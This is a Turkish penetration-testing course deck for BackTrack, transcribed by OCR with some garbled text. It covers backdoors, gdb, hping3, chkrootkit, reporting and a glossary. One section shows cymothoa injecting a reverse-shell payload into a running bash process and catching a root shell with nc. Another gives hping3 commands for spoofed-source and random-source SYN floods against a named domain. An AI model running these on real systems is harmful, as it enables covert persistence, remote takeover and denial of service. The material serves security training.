isleminin bir basamakl sayilardan baslayip, on basamakl
sayilara ilerlemekte oldugunu gorilecektir.

1,2,3,4,5,6 basamakli sayi gruplarinin total test sliresinin 0
saniye altinda oldugu gorilmektedir.

Hashcat ile yapilan testlerin sonucu gérmek igin

http://blog.bga.com.tr arama kismina “hashcat” yaziniz.
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Maintaining Access

* Hedef sistemlerde bir oturum elde ettikten sonra,
sisteme stirekli bagh kalabilmek icin
kullanilabilecek araglarin oldugu sekmedir.

* isletim sistemleri, Web Uygulamalari ve Tiinelleme
icin araglar bulunmaktadir.
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e #Maintaining Access -> OS Backdoors ->cymothoa

* Pentest calismalarinda, hedef sisteme erisim elde
edildikten sonra sistemde kalici hale gelmek igin arka
kapilar olusturulur.Bu konuda gelistirilen tekniklerden
biri, calisan bir process’e kod enjekte etmekdir.

* Buyontemle, process’in dosya sistemindeki
binary’sine herhangi bir zarar verilmedigi icin slirec
RAM’de devam eder. Dolayisiyla, kendini diske yazan
backdoor’lara gore tespit edilmesi daha da glictir. Bir
baska yazida, analiz teknikleri yer alacaktir.
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* Cymothoa, calisan bir process’e kod enjekte eden casus
bir yaziimdir.Hali hazirda kendi Gizerinde bulunan
shellcode’lari enjekte ederek saldirgana uzakdan yonetim
ve sistemde goériinmez olma imkani saglar.

* Shellcode enjekte etmek istediginiz process’in process
id’sini belirtmeniz yeterli. /bin/bash kabuguna bir
bakalim,

# ps ax| grep bash

1725 tty1 S 0:00 -bash

1742 ttyl S+ 0:00 /bin/bash /usr/bin/startx
1959 pts/0 Ss 0:00 bash

1991 pts/0 S+ 0:00 grep —color=auto bash
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“bash” kabugunun pid degeri 1959

Hedef sistemden, reverse shell elde etmek i¢in 3 numarali payload’i
kullanacagiz.

# ./cymothoa -p 1959 -s 3 -x 192.168.1.6 -y 4443
[+] attaching to process 1959

register info:

eax value: Oxfffffe00 ebx value: Oxffffffff

esp value: Oxbfcab388 eip value: 0xb7766430
[+] new esp: Oxbfcab384

[+] payload preamble: fork

[+] injecting code into 0xb7767000

[+] copy general purpose registers

[+] detaching from 1959

[+] infected!!!
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-p = /bin/bash process id’si

-s = 3. siradaki back connect payload’i

-x = back connect yapacagi ip adresi (saldirganin ip adresi)
-y = back connect yapacagi port numarasi

Saldirgan, portu dinleme moduna aldiginda kurban
sistemden shell erisimi elde etmis olur.

# nc-vv -1 4443

Connection from 192.168.1.9 port 4443 [tcp/*] accepted
id

uid=0(root) gid=0(root) groups=0(root)
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Reverse Engineering

e Tersine Muhendislik ¢calismalarinda kullanilan
araclarin bulundugu bolimdur.
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Reverse Engineering -> gdb.py

e Gdb isimli arag ile sistemde ¢alisan uygulamalarin
hangi RAM adreslerinde bulundugu, hangi
kituphaneleri kullandigi gibi bilgilere
ulasabilirsiniz.

* Gdb’e —p parametresi ile ¢alisan process’in PID
degeri verilir.
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#ps aux|grep sshd

root 1874 0.0 0.2 5600 2120° Ss 13:07
0:00 /usr/sbin/sshd -D

root 1889 0.0 0.0 3372 744 pts/0 S+ 13:08
0:00 grep --color=auto sshd

root@BGA:~# gdb.py -p 1874
Attach process 1874

(gdb)
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Artik gdb’nin komut satirindayiz. Help komutu size
gdb’nin ozelliklerini dokecektir.

(gdb) print Seip

Decimal: 3077506084

Hexadecimal: Oxb76f0424

Address is part of mapping: 0xb76f0000-0xb76f1000 =>
[vdso] (r-xp)

(gdb)

EIP veya EAX gibi registerlarin degerlerini gorebilirsiniz.
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(gdb) proc

Process ID: 1874 (parent: 1)

Process state: t

Process command line: ['/usr/sbin/sshd’, '-D']

Process environment:
PATH="/usr/local/sbin:/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/b
in', TERM='linux', UPSTART JOB='ssh', UPSTART INSTANCE="

Process working directory: /
User identifier: 0
Group identifier: 0

SSH servisinin kullandigl path, process environment 6zelliklerini
gorebilirsiniz.
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(gdb) stack

STACK: Oxbfede000-0xbfeff000 => [stack] (rw-p)
STACK-20: 0xb7754311
STACK-16: 0x00000001
STACK-12: 0x00000004
STACK -8: 0x00000014
STACK -4: Oxbfefdd44
STACK +0: Oxbfefdde8
STACK +4: 0x00000000
STACK +8: 0xb9481ed0
STACK+12: 0xb739493d
STACK+16: 0xb77758d0
STACK+20: 0xb9482640

Stack komutu ile stack agacinin durumunu gérebilirsiniz.
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Stress Testing

* Bu kisimda kategorizelendirilmis araglarin
cogunun flood yapabilme 6zelligi vardir.

* istediginiz tiirde paketler treterek, bu paketleri
test edilecek sisteme gondermenizi saglayacak
araclar bulunmaktadir.
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# Stress Testing -> Network Stress Testing -> Hping3

* Hping, istenilen tirde TCP/IP paketleri olusturmak
icin kullanilan harikulade bir aractir. Olusturulacak
paketlerde tim alanlari kendimize 6zgl
belirlenebilmesi, dinleme modu ile hostlara arasi
dosya transferi ve komut ¢alistirma ozelligi(Truva
ati?), IDS/IPS testleri icin 6zel veri alani
belirtilebilmesi(ids imzalarinin testi) gibi ileri diizey
Ozelliklere sahiptir.
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hping

* Hpingile IP paketlerine ait istenilen alanlar diizenlenebilir. IP bashgina
bakilirsa en 6nemli alanlarin kaynak_ip adresi, hedef ip adresi, paket
parcalama opsiyonu ve ip id numarasi oldugu goérilecektir.

B INTErNeT Proto:

version: 4
Header length: 20 bytes
® pifferentiated services Fleld: Ox00 (osSCP Ox00: Default; ECN: Ox000
Total Length: 10&
Tdentification: oxfbrFe (&43820)
= Flags: 0x4 (Don'T Fragment)

0... = Reserved bit: wor set
.1.. = pon't fragment: Set
..0. = More fragments: Wot set -
Fragment offset: 0 IP BB§|IQI
Time to Tive: 56
Protocol: TCP (0x06])
- Header checksum: Oxbl%c [correct] k

[Good: True)

[Bad : False]
source: Gl. 3,119, 80 (01,03.11%9. 800
pestinatfon: 1%2.165,2.27 (102,168.2.27)
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hping

* Hping kullanarak ilk paketimizi gdnderelim. Ontanimli olarak hping icmp
yerine TCP paketlerini kullanir. Bos(herhangi bir bayrak set edilmemis) bir
tcp paketini hedef sistemin O portuna génderir.

*  Varsayilan durumda TCP paketleri Uretir fakat kabiliyeti sadece bunla
sinirl degildir. istenirse tamamen 6zellestirilebilen Raw IP paketleri, icmp
ve udp paketleri de olusturulabilir.
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hping

* Hping Calisma Modlari
-0 --rawip Raw ip paketleri kullanmak igin
-1 --icmp Icmp Paketi olusturmak igin.
-2 --udp UDP Paketleri olusturmak igin.
-8 —scan Klasik Tarama modu.
-9 —listen Dinleme modu

e TCP Paketleri ile Oynamak

o Bir TCP paketinde hangi alanlar vardir, 6ncelikle buna biraz
deginelim sonra hping ile tcp bashgindaki alanlar ile oynayarak
neler yapabiliyoruz gérelim.
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hping

= [[FansnYssT6n Control Protoeal, Sre port: 1368 (1348Y, DSt Port: 80 (80Y, Sear 0, Leni O
ED o)

+
TCP Basligi

1460 bytes

B 0 34 9w W » FEE

o potmunter Destraton pof rurter
Ssavencanumbsr
Aoyt noTar

D | pcervd | Flags Window
ot

Chudmum Ul picies

*  TCP oturumunda en énemli bilesen bayrak(flags)lardir. Oturumun
kurulmasi, veri aktarimi, baglantinin koparilmasi vb gibi islerin tamami bu
bayraklar araciligi ile yapilir. inceleyecegimiz diger protokollerde(IP, ICMP,
UDP) bayrak tanimi yoktur. ilk olusturacagimiz paket her TCP oturumunun

kurulmasinda ilk adimi olusturan SYN bayrakli bir paket . Hping’e —S
parametresi vererek SYN bayrakli paketler gonderebiliriz.
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* -c parametresi ile kullaniimazsa hping durdurulana kadar(CTRLAc) paket
gondermeye devam eder, —c ile kac¢ adet paket gonderecegi belirtilir.

» RST Bayrakli TCP paketleri olusturmak;
*  Hping3 -R 192.168.1.1 — 3

* Benzer sekilde —R yerine diger TCP bayrak tipleri konularak istenilen tiirde
TCP paketi olusturulabilir.
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hping

¢ Port Belirtimi

* -p parametresi kullanilarak hedef sisteme gonderilen paketlerin hangi porta gidecegi
belirtilir. Default olarak bu deger 0 dir.

* -sparametresi ile kaynak TCP portu degistirilebilir, 5ntanimli olarak bu deger rastgele
atanir.

* 1000. porta RST, FIN, PUSH ve SYN bayraklari set edilmis paket génderimi
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* Hping kullanarak istenilen ip adresinden geliyormus gibi paketler
Uretilebilir. Burada dikkat edilmesi gereken husus kaynak ip adresini spoof
ederek gonderdigimiz paketler hedefe ulastiktan sonra donecek cevabin
bize degil spoof edilmis ip adresine donecegidir.

nis I|p paketi: SRC_IP

5
W, L

IP=10.10.10.2

IP=30.30.30.20

Cevap
20.20.20.20'e
doner

a0

IP=20.20.20.20
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«  Ornek: www.bga.com.tr adresine 10.10.10.10 ip adresinden geliyormus
gibi SYN paketleri gonderelim.

hping3 -a 10.10.10.10 -S -p 80 www.bga.com.tr

* Ekrandaki sonug incelenirse geriye hi¢ paket donmedigi(100% packet loss)
gorilecektir. Bunun sebebi gonderdigimiz paketlere donen cevaplarin
10.10.10.10 ip adresine gitmesidir.

* 10.10.10.10ip adresi de —eger varsa boyle bir adres- kendisine gelen bu
paketlere RST bayrakh TCP paketleriyle cevap donecektir.
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hping

*  Paket olustururken ip seviyesinde belirlenebilecek diger bir 6zellik de
paketlerin yasam siresini belirleyen TTL degeridir. Hping ile istedigimiz ttl
degerini pakete atayabiliriz. Burada dikkat edilmesi gereken husus TTL
degerleri diisiikse paketimizin hedefe ulasamadan zaman asimina
ugramasidir.

* Ciktidan da gorilecegi gibi ttl degerini 10 yapip gonderdigimiz paketler
Google.com’a ulasamadan aradaki bir Router tarafindan dusuriliyor ve
bize bilgi mesaji olarak icmp paketleri déniyor.
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hping
* Hedef sisteme milyonlarca farkli ip adresinden geliyormus gibi istek

gonderilebilir. Ozellikle DOS/DDOs saldirilarinin simulasyonlarinda faydali
olan bir ozelliktir.

*  Hping3 —rand-source —S —p 80 www.bga.com.tr
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Forensics

* Bu sekme altinda sisteme bulasmis rootkit’lerin
tespiti, image recovery, network forensic gibi
ihtiyaclar karsilayabilecek araglar bulunmaktadir.
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Forensics -> Anti-Virus Forensic Tools -> chkrootkit

e Chkrootkit araci ile linux /unix sistemlere
yerlesmis rootkitleri tespit etmek icin
gelistirilmistir.

* Chkrootkit araci bilinen rootkit yazilimlarini tespit
edebilmektedir.
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chkrootkit

#:/pentest/forensics/chkrootkit# ./chkrootkit -h
Usage: ./chkrootkit [options] [test ...]
Options:
-h yardim ekrani
-V Versiyon bilgisini goster
| Sistemde aranacak rootkit’lerin ismi
-d debug
-q quiet mod
-X expert mod
-r dir Dizin belirt.
-n NFS formatinda dizinleri ge¢
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# ./chkrootkit

Komutu ile arag calistirilir. Ekrana tarama sonuglarini
verir.

Ornek:

Searching for Mithra... nothing found

Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for HKRK rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
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Reporting Tools

e Bulgularin raporlanmasi igin kullanilabilecek
araclarin bulundugu kisim.

* Yapilan ¢alismalar, video ile aktarilmak istenirse;

Reporting Tools -> Media Capture ->
recordmyscreen uygulamasi kullanilabilir.
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Services

* Backtrack uzerinde kurulu olarak gelen;

Apache
Mysql
Ssh
Snort

gibi uygulamalar servis olarak ¢alismaktadir. Bu servislerin
baslatilmasi/durdurulmasi icin bu sekme kullanilabilir.
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Services

* Linux sistemlerde servis yonetimini “Temel Linux
Kullanimi” bashginda anlatiimistur.

Services -> HTTPD -> apache start

yolu ile
#/etc/init.d/apache?2 start

Veya
#service apache? start

e Arasinda higbir fark yoktur.
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Terimler Sozlugu

« offensive security: Saldirn tarafindan bakilarak giivenligi
saglama

* pentest: Belirlenen bilisim sistemlerine mimkin
olabilecek her yolun denenerek sizilmasi

* audit: Denetim
gnome,kde= Linux sistemlerde grafik araytizi yazilimlarinin
isimleri

* mount etmek: Sistemin yUikli oldugu dosya sisteminin
disinda ikinci bir disk, COROM, DVD, iso vs. eklemek.

* log takibi: Sistemde yapilan islemlerin izlerinin takibi

* regex: Dlzenli ifadeler

* pentest dizini : Sistemde bulunan ¢ogu programin duzenli
bir sekilde yer aldigi ana dizin
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Terimler So6zlugu

* dhcp: tcp/ip Ustlinden agda otomatik olarak
ip,subnetmask,default gateway dagitma islemi.

* ssh: (secure shell) bilgisayar-bilgisayar, bilgisayar-
sunucu, sunucu-sunucu baglantilarinda giivenli iletigimi
saglar.

* kernel thread: Cekirdek is pargacigi
* salt: Sifrelere yazilim tarafindan eklenen rastgele
degerlere verilen isim.

* rootkit: Calisan suregleri, dosyalari veya sistem
bilgilerini isletim sisteminden gizlemek suretiyle
varligini gizlice strdiren bir program veya programlar
grubudur.
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